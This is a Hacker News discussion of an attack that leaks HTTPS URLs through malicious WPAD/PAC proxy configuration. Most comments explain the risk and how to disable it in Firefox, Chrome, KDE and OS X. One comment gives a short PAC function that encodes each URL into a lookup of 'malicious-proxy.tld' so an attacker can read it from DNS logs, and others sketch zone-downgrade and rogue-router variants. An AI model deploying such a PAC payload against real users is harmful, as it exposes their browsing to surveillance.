250 points · by kcorbitt · 10y ago · 68 comments
We will demonstrate that, by forcing your browser/system to use
a malicious PAC (Proxy AutoConfiguration) resource, it is
possible to leak HTTPS URLs.
Would be interesting to see the exploit in action. However, malicious PAC redirection has existed for a while [0].What isn't quite clear is whether this would work even with HSTS sites.
The takeaway seems to be that never trust any unknown network.
[0] https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou...
By that I'm guessing you mean local networks ala coffeeshop/public wifi. What about networks that NSA/[insert three letter agency here] controls? Can PAC be affected by those?
1: https://en.wikipedia.org/wiki/Proxy_auto-config
Edit: note that in addition to SOCKS proxies, this also allows one to provide HTTP proxies. I'm not familiar with the interaction of https traffic with HTTP proxies, but I'd hope browsers avoid using them? Anyone familiar with this care to comment? (specs are sparse in this area)
So DHCP can cause my browser to execute code. That is … completely and totally insane. I'm not saying you're wrong, but rather that you're right about about a world gone mad.
So much of this Netscape stuff just reeks of a "startup MVP", to put it mildly.
Menu > Preferences > Advanced > Network > Settings… > No Proxy.
Very simple and easily discoverable setting.
________________________
Google Chrome uses your OS's settings for proxy, though, so you can't easily turn it off in most cases, but you can go toSettings (scroll down a page) > Advanced Settings > Network > Configure System Proxy Settings
(that redirects you to the system settings for proxies, usually).
"No Proxy": 0 "Auto-detect proxy settings for this network": 4 "Use system proxy settings": 5 "Manual proxy configuration": 1 "Automatic proxy configuration URL": 2
Does anyone know if it's possible to force unpatched libproxy on Linux to not use WPAD? Also, does network-manager use libproxy if I don't have libproxy1-plugin-networkmanager installed?
Setting network settings is exactly what DHCP was for.
Edit: even with sandboxing, I imagine they could encode the url into a hostname for a proxy and then use the DNS requests for the proxy to exfiltrate the url. Proxy auto-config allows specifying "PROXY my_encoded_url.other_data.example.com:8080; DIRECT" so that it would attempt the DNS lookup, and on it's failure fallback to using a direct connection so there wouldn't be much change visible to the user (just a slight extra delay due to dns lookup).
I don't think so. Just a proxy. A malicious proxy can of course inject whatever it wants into your viewed pages.
Yes. In Firefox, the "network.proxy.type" preference is an integer that can take on the values 0, 1, 2, 3, 4, 5 with the following meanings:
0,3: no proxy (see https://bugzilla.mozilla.org/show_bug.cgi?id=115720 for the history on why 3 is the same as 0)
1: proxy manually configured in Firefox preferences, no PAC file.
2: Use the PAC file found at the URL given by the value of the "network.proxy.autoconfig_url" preference.
4: Use WPAD to get the PAC file.
5: Do whatever the OS says to do in terms of proxy settings (including what PAC file to use, if any).
The default value is 5. I believe setting the preference to 0 will ensure that you always use a direct, not proxied, connection to the target site, and in particular that no PAC file is used.
Edit: Ah, just noticed that kuschku points to UI for all this stuff below too.
I have domains which receive a steady stream of 'wpad.$domain' queries from machines which have nothing to do with me. I don't know who owns the machines. I also don't think anyone would notice if I decided to actually provide them with the proxy service they keep requesting from my infrastructure.
If you did so, it would make for a really interesting CFAA (or your country's equivalent) case. Unless there is precedent for this kind of thing?
The interesting thing is that I actually am considering setting up a WPAD entry on a domain where I am seeing that traffic, for my own purposes (i.e. unrelated to the random queries I am getting).
In fact, I have just as much an argument that they would be the ones with possible CFAA liability if they start using my proxy server in a way I don't intend.
The CFAA is a mess.
I tried searching for an OS X disable to no avail.
PS. I did find this which came out in May: https://www.us-cert.gov/ncas/alerts/TA16-144A
I think the OP is looking for a definitive statement or disabling mechanism whereby the DHCP client (and subsequently all web browser behaviour) in OSX definitely never honours DHCP option 252, which seems to be the relevant part of the attack described in the article.
function FindProxyForURL(url, host) {
return "PROXY " + base64(url) + ".malicious-proxy.tld:1080";
}
Then the attacker can look at his/her DNS server query log and figure out the URL.On the flip side the article isn't correct about IE truncating hosts, what it does is cache the PAC results on a per-host basis, so only the first URL a client accesses to a host will get processed.
The other main threat of the WPAD is that it affects Zones. In a corporate environment, things that go through the proxy server are assumed to be on the internet and in the Internet zone. Things that go direct are assumed to be Intranet Zone, which has reduced security posture. An evil WPAD that just returns "DIRECT" all the time will lower IE's posture for all sites to Intranet Zone, enabling IWA (making credential harvesting possible), reducing warnings on active content, etc.
That's effectively a lie. The HTTPS connection itself is definitely still secure. The only difference is the browser is telling an attacker what URL it wants to go to. You can also watch what virtual hosts someone is visiting by sniffing DNS requests, statistical packet analysis can show exactly what you're looking at, and there are plenty of attacks on browsers and the client OS to get more data that don't require wpad.
If you want to browse securely, you have to tunnel everything. You should not assume a browser will ever be able to hide all possible traceable data about your connection & request.
In my settings in Network -> Advanced -> Proxies, all the little boxes are unchecked. There is an "Automatic Proxy Configuration" line but only when I check it do I see a method to enter the URL to a .pac file.
So, as a naive user, when I see everything unchecked I assume that everything is disabled. But perhaps the checkbox only provides a method to supply information that a DHCP server omits?
So if the DHCP server does return an URL to a .pac file, will OS X will accept it regardless of the check box?
However, in the same list, you should see a checkbox labeled "Auto Proxy Discovery". This is the one you want to uncheck so that OS X does not accept the URL sent by the DHCP server.
In my experience, that box is unchecked by default for a clean installation of El Capitan. So I don't think that OS X is vulnerable (unless that box is explicitly changed by an end user).
I just found this Apple KB https://support.apple.com/kb/PH18553?locale=en_US that instructs users to select that setting if needed. That seems to confirm that the default is off.
The Ars Technica article should have been more nuanced. It strongly implies (IMO) that OS X is vulnerable by default.
Here's another recent one. https://ripe72.ripe.net/wp-content/uploads/presentations/49-...
Even when specifically shuttling the DNS with the --dns option? Is that a reported bug?
I didn't report it since I didn't gather enough information to make a particularly useful report. It is at least known that FreeBSD has an issue with DNS forwarding (that might be the same?), although I am on arch. I hope to look into it more at some point.
2) this only leaks URLs, your banking creds are safe.
I wish more sites would use a second factor for resets. This would prevent so many of these types of problems. Also, Windows knows that it's an untrusted network. Maybe warn about proxies if you have it (WPAD) turned on for Big Corp reasons?
BUT... I was unaware of this DHCP attack surface for WPAD. Does anybody know if Debian has some scripts for receiving a URL via that mechanism and then visiting it? I guess this would be achieved by libproxy or something?
Do the browsers do some WPAD stuff independently?
If you're using KDE, you can disable it under
System Settings > Network > Settings > Proxy > No Proxy.
If you want to disable it for the browsers, see https://news.ycombinator.com/item?id=12167767
The DNS-based mechanism might get me, though... I don't know. Is that implemented exclusively at the browser layer?
To over simplify: attacker stays at AirBnb/rental, attacker pwns local router and adds their dns server, attacker listens for wpad request and respond with malicious PAC to gain MitM. Oh, the dangers of AirBnB/rental networks.
https://www.blackhat.com/us-16/briefings.html#airbnbeware-sh...
Wait, don't they mean Defcon?